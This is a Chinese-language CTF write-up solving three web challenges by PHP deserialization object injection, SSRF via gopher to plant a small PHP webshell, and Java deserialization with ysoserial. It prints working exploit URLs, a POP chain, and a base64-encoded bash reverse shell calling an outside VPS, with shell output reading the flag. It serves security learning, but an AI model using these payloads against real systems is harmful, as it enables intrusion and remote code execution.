web辅助

扫描得到网站备份文件,查看源代码发现是反序列化题目

分析

Class.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
<?php
class player{
protected $user;
protected $pass;
protected $admin;

public function __construct($user, $pass, $admin = 0){
$this->user = $user;
$this->pass = $pass;
$this->admin = $admin;
}

public function get_admin(){
return $this->admin;
}
}

class topsolo{
protected $name;

public function __construct($name = 'Riven'){
$this->name = $name;
}

public function TP(){
if (gettype($this->name) === "function" or gettype($this->name) === "object"){
$name = $this->name;
$name();
}
}

public function __destruct(){
$this->TP();
}

}

class midsolo{
protected $name;

public function __construct($name){
$this->name = $name;
}

public function __wakeup(){
if ($this->name !== 'Yasuo'){
$this->name = 'Yasuo';
echo "No Yasuo! No Soul!\n";
}
}


public function __invoke(){
$this->Gank();
}

public function Gank(){
if (stristr($this->name, 'Yasuo')){
echo "Are you orphan?\n";
}
else{
echo "Must Be Yasuo!\n";
}
}
}

class jungle{
protected $name = "";

public function __construct($name = "Lee Sin"){
$this->name = $name;
}

public function KS(){
system("cat /flag");
}

public function __toString(){
$this->KS();
return "";
}

}
?>

playertopsolomidsolojungle这几个类,获取flag的方法在jungle类中。

common.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
<?php
function read($data){
$data = str_replace('\0*\0', chr(0)."*".chr(0), $data);
return $data;
}
function write($data){
$data = str_replace(chr(0)."*".chr(0), '\0*\0', $data);
return $data;
}

function check($data)
{
if(stristr($data, 'name')!==False){
die("Name Pass\n");
}
else{
return $data;
}
}
?>

readwrite为序列化的读写方法,且过程为\0*\0chr(0)."*".chr(0)替换的互逆,check是对内容进行判断是否包含check方法

Index.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
<?php
@error_reporting(0);
require_once "common.php";
require_once "class.php";

if (isset($_GET['username']) && isset($_GET['password'])){
$username = $_GET['username'];
$password = $_GET['password'];
$player = new player($username, $password);
file_put_contents("caches/".md5($_SERVER['REMOTE_ADDR']), write(serialize($player)));
echo sprintf('Welcome %s, your ip is %s\n', $username, $_SERVER['REMOTE_ADDR']);
}
else{
echo "Please input the username or password!\n";
}

?>

序列化入口,获取usernamepassword然后作为参数传入player类的构造函数,接着序列化player类对象,然后将通过write处理序列化字符串并写入文件内。

Play.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
<?php
@error_reporting(0);
require_once "common.php";
require_once "class.php";

@$player = unserialize(read(check(file_get_contents("caches/".md5($_SERVER['REMOTE_ADDR'])))));
print_r($player);
if ($player->get_admin() === 1){
echo "FPX Champion\n";
}
else{
echo "The Shy unstoppable\n";
}
?>

反序列化入口,首先通过check函数检查然后通过read函数读取序列化字符串进行反序列化。

对象注入

序列化和反序列化涉及readwrite处理不够严谨,可以在usernamepassword初进行再对象注入。

在序列化时username处注入\0*\0,可以发现字符串的长度是5,但是反序列化前通过read替换序列化字符串中的\0*\0变成chr(0) . "*" . chr(0),长度变成了3

反序列化时会根据序列化时的长度进行计算取值,吃掉了后面两个字符串作为内容,也就是在username处每注入一个\0*\0就能向后吃掉两个字符串。

此时在usernamepassword处精心构造,username吞字符串直到可控的password前,形成内联的序列化字符串注入

1
2
$username = '\\0*\\0' . '\\0*\\0' . '\\0*\\0' . '\\0*\\0' . '\\0*\\0' . '\\0*\\0' . '\\0*\\0' . '\\0*\\0' . '\\0*\\0' . '\\0*\\0' . '\\0*\\0';
$password = "\";s:7:\"" . '\\0*\\0' . "pass\";s:4:\"BBBB" ;

序列化字符串为:

1
O:6:"player":3:{s:7:"\0*\0user";s:55:"\0*\0\0*\0\0*\0\0*\0\0*\0\0*\0\0*\0\0*\0\0*\0\0*\0\0*\0";s:7:"\0*\0pass";s:27:"";s:7:"\0*\0pass";s:4:"BBBB";s:8:"\0*\0admin";i:0;}

反序列化的对象为:

1
2
3
4
5
6
7
8
object(player)#1 (3) {
["user":protected]=>
string(55) "***********";s:7:"*pass";s:27:""
["pass":protected]=>
string(4) "BBBB"
["admin":protected]=>
int(0)
}

User类的pass成员已经可以任意对象注入

Chain

需要利用common.php中的几个类构造Chain

player::pass注入topsolo对象,topsoloname成员为midsolo对象,会被check函数阻止,这里使用S加上十六进制nam\65绕过check函数。

析构函数会调用TP方法,然后调用midsolo__invokemidsoloname成员为jungle类,但是__wakeup这里做了过滤限制为字符串,这里修改midsolo序列化字符串里对象属性个数的值大于真实的属性个数,__wakeup就不会触发,过滤就会失效,然后调用gank方法在stristr函数中调用的__toString方法,获取Flag

构造恶意的topsolo对象:

1
2
3
4
5
$jungle = new jungle();
$midsolo = new midsolo($jungle);
$topsolo = new topsolo($midsolo);
var_dump(serialize($topsolo));
//O:7:"topsolo":1:{s:7:"*name";O:7:"midsolo":1:{s:7:"*name";O:6:"jungle":1:{s:7:"*name";s:7:"Lee Sin";}}}

整体的结构为:

1
2
3
4
5
6
7
8
9
10
object(topsolo)#3 (1) {
["name":protected]=>
object(midsolo)#2 (1) {
["name":protected]=>
object(jungle)#1 (1) {
["name":protected]=>
string(7) "Lee Sin"
}
}
}

修改序列化字符串绕过check__wakeup

1
O:7:"topsolo":1:{S:7:"*nam\65";O:7:"midsolo":2:{S:7:"*nam\65";O:6:"jungle":1:{S:7:"*nam\65";s:7:"Lee Sin";}}}

最后生成POC:

1
2
3
4
5
6
$username = '\\0*\\0' . '\\0*\\0' . '\\0*\\0' . '\\0*\\0' . '\\0*\\0' . '\\0*\\0' . '\\0*\\0' . '\\0*\\0' . '\\0*\\0' . '\\0*\\0' . '\\0*\\0' . '\\0*\\0';
$username = (urlencode($username));
$password = "A\";s:7:\"*pass\";O:7:\"topsolo\":1:{S:7:\"*nam\\65\";O:7:\"midsolo\":2:{S:7:\"*nam\\65\";O:6:\"jungle\":1:{S:7:\"*nam\\65\";s:7:\"Lee Sin\";}}}";
$password = str_replace('*', '\\0*\\0', $password);
$password = (urlencode($password));
echo 'username=' . $username . '&password=' . $password;

注入的序列化字符串:

1
O:6:"player":3:{s:7:"\0*\0user";s:60:"\0*\0\0*\0\0*\0\0*\0\0*\0\0*\0\0*\0\0*\0\0*\0\0*\0\0*\0\0*\0";s:7:"\0*\0pass";s:140:"A";s:7:"\0*\0pass";O:7:"topsolo":1:{S:7:"\0*\0nam\65";O:7:"midsolo":2:{S:7:"\0*\0nam\65";O:6:"jungle":1:{S:7:"\0*\0nam\65";s:7:"Lee Sin";}}}";s:8:"\0*\0admin";i:0;}

Exp

1
http://eci-2zeiat1sz4y14j48qk45.cloudeci1.ichunqiu.com/?username=%5C0%2A%5C0%5C0%2A%5C0%5C0%2A%5C0%5C0%2A%5C0%5C0%2A%5C0%5C0%2A%5C0%5C0%2A%5C0%5C0%2A%5C0%5C0%2A%5C0%5C0%2A%5C0%5C0%2A%5C0%5C0%2A%5C0&password=A%22%3Bs%3A7%3A%22%5C0%2A%5C0pass%22%3BO%3A7%3A%22topsolo%22%3A1%3A%7BS%3A7%3A%22%5C0%2A%5C0nam%5C65%22%3BO%3A7%3A%22midsolo%22%3A2%3A%7BS%3A7%3A%22%5C0%2A%5C0nam%5C65%22%3BO%3A6%3A%22jungle%22%3A1%3A%7BS%3A7%3A%22%5C0%2A%5C0nam%5C65%22%3Bs%3A7%3A%22Lee+Sin%22%3B%7D%7D%7D

image-20200824174636957

访问play.php

image-20200824174720115

half_infiltration

image-20200825172404053

变量覆盖&缓冲区输出

index.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
<?php
highlight_file(__FILE__);

$flag=file_get_contents('ssrf.php');

class Pass
{


function read()
{
ob_start();
global $result;
print $result;

}
}

class User
{
public $age,$sex,$num;

function __destruct()
{
$student = $this->age;
$boy = $this->sex;
$a = $this->num;
$student->$boy();
if(!(is_string($a)) ||!(is_string($boy)) || !(is_object($student)))
{
ob_end_clean();
exit();
}
global $$a;
$result=$GLOBALS['flag'];
ob_end_clean();
}
}

if (isset($_GET['x'])) {
unserialize($_GET['x'])->get_it();
}

ssrf.php的内容放在$flag里面,需要利用Pass::read进行输出,但是输出的内容为global $result,因此还首先需要在User::__destructglobal $$a;$result=$GLOBALS['flag'];进行变量覆盖完成对$result的赋值。

因为ob_start()ob_end_clean()的原因,输出进入缓冲区并被清楚,还需要想办法输出缓冲区内容才能获得$flag

因此需要构建一个数组包含两个元素,第一个元素走完User::__destruct完成变量覆盖,第二个元素需要绕过缓冲区进行输出。

构造POC如下

1
2
3
4
5
6
7
8
9
10
11
12
$user1 = new User();
$user1->sex = 'read';
$user1->age = new Pass();
$user1->num = 'result';
$user2 = new User();
$user2->sex = 'read';
$user2->age = new Pass();
$user2->num = 'this';

$exp = array($user1, $user2);

$exp = serialize($exp);

数组内两个对象均为User对象,第一个对象赋值flag到global $result,第二个对象利用global $thisob_end_clean();进行报错,会直接输出已经进入缓冲区的内容。

发送POC

1
http://39.98.131.124/?x=a:2:{i:0;O:4:%22User%22:3:{s:3:%22age%22;O:4:%22Pass%22:0:{}s:3:%22sex%22;s:4:%22read%22;s:3:%22num%22;s:6:%22result%22;}i:1;O:4:%22User%22:3:{s:3:%22age%22;O:4:%22Pass%22:0:{}s:3:%22sex%22;s:4:%22read%22;s:3:%22num%22;s:4:%22this%22;}}

获取ssrf.php的内容如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
<?php 
//经过扫描确认35000以下端口以及50000以上端口不存在任何内网服务,请继续渗透内网
$url = $_GET['we_have_done_ssrf_here_could_you_help_to_continue_it'] ?? false;
if(preg_match("/flag|var|apache|conf|proc|log/i" ,$url)){
die("");
}

if($url)
{

$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_HEADER, 1);
curl_exec($ch);
curl_close($ch);

}

?>

SSRF

进行端口扫描

image-20200825232654948

40000端口存在web服务

image-20200825171902435

源码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
<!DOCTYPE html>
<html>
<head>
<title>Message Board</title>
<link rel="stylesheet" href="css/bootstrap.min.css" />
</head>
<body>
<div class="container" style="text-align:center;vertical-align:middle;">

<div class="row" style="text-align:center;vertical-align:middle;">
<h1>Message Board </h1>
</div>
<div class="row">
<br><br>
<p class="lead">
Since there is only one administrator, a person can only submit one opinion at a time.
Each time a new opinion is submitted, all old comments will be deleted
<br><br>
</p>
</div>

<br>

<div class="row" style="text-align:center;vertical-align:middle;">

<form method="POST" class="form-inline">
<div class="form-group">
<input class='form-control' type="text" name="file">
</div>
<div class='panel-body'>
<textarea class='form-control' name='content' rows='6'></textarea>
<br>
<br>
<div class="form-group">
<button type="submit" class='btn btn-default col-md-2 form-control' value="Submit">Submit</button>
</div>




</form>

</div>

直接使用gopher协议进行POST文件上传,内容为2222:

1
http://39.98.131.124/ssrf.php?we_have_done_ssrf_here_could_you_help_to_continue_it=gopher%3A%2F%2F127.0.0.1%3A40000%2F_POST+%2F+HTTP%2F1.1%250d%250aHost%3A+127.0.0.1%3A40000%250d%250aCookie%3APHPSESSID%3Drai4over%250d%250aContent-Type%3A+application%2Fx-www-form-urlencoded%250d%250aContent-Length%3A+23%250d%250a%250d%250afile%3D1.php%26content%3D2222

文件上传位置为:

1
http://39.98.131.124/ssrf.php?we_have_done_ssrf_here_could_you_help_to_continue_it=http://127.0.0.1:40000/uploads/rai4over/1.php

image-20200827132951890

文件上传成功,尝试传小马,但是发现对content文件内容进行了过滤,比如出现开头的<?=等字符串就会写入失败。

这里可以使用伪协议php://filter/convert.base64-decode/resource=进行base64编码,不过内容字符长度需要为3的倍数不然编码后会出现=,就会写入失败。

1
2
3
4
5
6
7
8
9
10
11
$url = 'http://39.98.131.124/ssrf.php?we_have_done_ssrf_here_could_you_help_to_continue_it=';

$cmd = '|<?=`ls -l ../../../../../`?>|';
$cmd = base64_encode($cmd);

$filename = 'php://filter/convert.base64-decode/resource=1.php';

$x = 'file=' . $filename . '&content=' . $cmd;
$url = $url . urlencode('gopher://127.0.0.1:40000/_POST / HTTP/1.1%0d%0aHost: 127.0.0.1:40000%0d%0aCookie:PHPSESSID=rai4over%0d%0aContent-Type: application/x-www-form-urlencoded%0d%0aContent-Length: ' . strlen($x) . '%0d%0a%0d%0a' . ($x));

file_get_contents($url);

找到Flag位置如下

image-20200825231724639

修改payload为|<?=`cat ../../../../../flag`?>|a,获取flag

image-20200825163112992

easy_java

查看源码,发现反序列化位置:

1
2
3
4
5
6
7
8
9
10
11
12
@PostMapping("/jdk_der")
@ResponseBody
public String jdk_der(@RequestBody byte[] input) {
try {
ByteArrayInputStream bais = new ByteArrayInputStream(input);
SafeObjectInputStream ois = new SafeObjectInputStream(bais);
return (String) system_properties.get((String) ois.readObject());
} catch (Exception e) {
e.printStackTrace();
return "Something error.....";
}
}

进行了黑名单过滤:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
@Override
protected Class<?> resolveClass(ObjectStreamClass desc) throws IOException,
ClassNotFoundException {

String[] black_list = new String[] {
"java.util.HashMap",
"com.sun.jndi.rmi.registry.RegistryContext",
"sun.reflect.annotation.AnnotationInvocationHandler",
"java.util.PriorityQueue",
"java.util.HashSet",
"java.util.Hashtable",
"org.apache.commons.fileupload.disk.DiskFileItem",
"org.hibernate.engine.spi.TypedValue",
"java.util.LinkedHashSet",
"sun.rmi.server.UnicastRef",
"java.rmi.server.UnicastRemoteObject",
"javax.management.openmbean.TabularDataSupport",
"java.util.Hashtable",
"org.mozilla.javascript.NativeJavaObject",
"org.springframework.core.SerializableTypeWrapper",
"javax.management.BadAttributeValueExpException",
"org.springframework.beans.factory.ObjectFactory",
"org.codehaus.groovy.runtime.ConvertedClosure",
"xalan.internal.xsltc.trax.TemplatesImpl",
"java.lang.Runtime"
};

但并不全,可以参考shiro直接使用JRMPClient进行绕过,查看依赖有非常好用的cc

1
2
3
4
5
<dependency>
<groupId>commons-collections</groupId>
<artifactId>commons-collections</artifactId>
<version>3.2.1</version>
</dependency>

直接就能RCE

VPS上运行ysoserial,监听在9999端口:

1
java -cp ysoserial-0.0.6-SNAPSHOT-all.jar ysoserial.exploit.JRMPListener 9999 CommonsCollections5 "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xMDMuMjEwLjIzLjE4NC83Nzc3IDA+JiAx}|{base64,-d}|{bash,-i}"

然后vps监听7777端口,用于shell回连:

1
nc -l 7777

然后向目标发送payload

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
# coding=utf-8

import subprocess
import requests

if __name__ == '__main__':
url = "http://39.101.166.142:8080/jdk_der"
vps = "103.210.23.184:9999"

popen = subprocess.Popen(['java', '-jar', 'ysoserial-0.0.6-SNAPSHOT-all.jar', 'JRMPClient', vps],
stdout=subprocess.PIPE)
file_body = popen.stdout.read()

rs = requests.post(url, data=file_body).text

print(rs)

shell回连成功

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
ctf2@iZ8vb769r8zjakxybwzbenZ:/$ ls
ls
bin
boot
dev
etc
flag
home
lib
lib32
lib64
libx32
lost+found
media
mnt
opt
proc
root
run
sbin
srv
swapfile
sys
tmp
usr
var
ctf2@iZ8vb769r8zjakxybwzbenZ:/$ cat flag
cat flag
flag{056eaalfe7scd222qwe2df36845b8ed170c67e23e3}
ctf2@iZ8vb769r8zjakxybwzbenZ:/$

参考

http://www.jackson-t.ca/runtime-exec-payloads.html

https://www.cnblogs.com/tr1ple/p/11876441.html